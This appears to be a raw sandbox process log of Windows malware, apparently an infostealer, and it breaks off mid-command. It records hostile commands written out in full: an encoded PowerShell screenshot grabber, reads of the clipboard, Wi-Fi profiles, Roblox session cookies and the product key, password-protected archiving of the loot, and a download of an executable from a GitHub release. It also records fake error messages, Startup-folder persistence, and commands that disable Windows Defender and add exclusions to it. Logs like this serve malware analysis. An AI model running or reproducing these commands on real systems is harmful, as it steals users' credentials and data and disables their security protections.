C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-Clipboard
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\netsh.exe
netsh wlan show profile
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
C:\Windows\system32\systeminfo.exe
systeminfo
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\tp1ovz02\tp1ovz02.cmdline"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES650E.tmp" "c:\Users\Admin\AppData\Local\Temp\tp1ovz02\CSCADE04A712D864DBFB021663AB3413AE9.TMP"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 436"
C:\Windows\system32\taskkill.exe
taskkill /F /PID 436
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3200"
C:\Windows\system32\taskkill.exe
taskkill /F /PID 3200
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4760"
C:\Windows\system32\taskkill.exe
taskkill /F /PID 4760
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4184"
C:\Windows\system32\taskkill.exe
taskkill /F /PID 4184
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4852"
C:\Windows\SysWOW64\cmd.exe
cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\Admin\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
C:\Windows\system32\taskkill.exe
taskkill /F /PID 4852
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3380"
C:\Windows\system32\taskkill.exe
taskkill /F /PID 3380
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3692"
C:\Windows\system32\taskkill.exe
taskkill /F /PID 3692
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "getmac"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
C:\Windows\system32\getmac.exe
getmac
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI28482\rar.exe a -r -hp"newgen" "C:\Users\Admin\AppData\Local\Temp\Q9BWT.zip" *"
C:\Users\Admin\AppData\Local\Temp\_MEI28482\rar.exe
C:\Users\Admin\AppData\Local\Temp\_MEI28482\rar.exe a -r -hp"newgen" "C:\Users\Admin\AppData\Local\Temp\Q9BWT.zip" *
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic os get Caption"
C:\Windows\System32\Wbem\WMIC.exe
wmic os get Caption
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
C:\Windows\System32\Wbem\WMIC.exe
wmic computersystem get totalphysicalmemory
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Write-Host 'Scanning for errors...' -ForegroundColor Yellow"
C:\Windows\system32\timeout.exe
timeout /t 10
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Write-Host '20 critical errors found...' -ForegroundColor Red"
C:\Windows\system32\timeout.exe
timeout /t 15
C:\Users\Public\jsc.exe
C:\Users\Public\jsc.exe
C:\l\wts.exe
"C:\l\wts.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri "https://github.com/newbigs/newintsh/releases/download/v1/jCLjDWsLU" -OutFile "C:\Users\Public\Guard.exe""
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
C:\Users\Public\Guard.exe
"C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
C:\l\winb.exe
"C:\l\winb.exe"
C:\l\wts.exe
"C:\l\wts.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri "https://github.com/newbigs/newintsh/releases/download/v1/jCLjDWsLU" -OutFile "C:\Users\Public\Guard.exe""
C:\l\winb.exe
"C:\l\winb.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\l\winb.exe'"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('.', 0, 'windows', 48+16);close()""
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('.', 0, 'windows', 48+16);close()"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\l\winb.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "systeminfo"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAP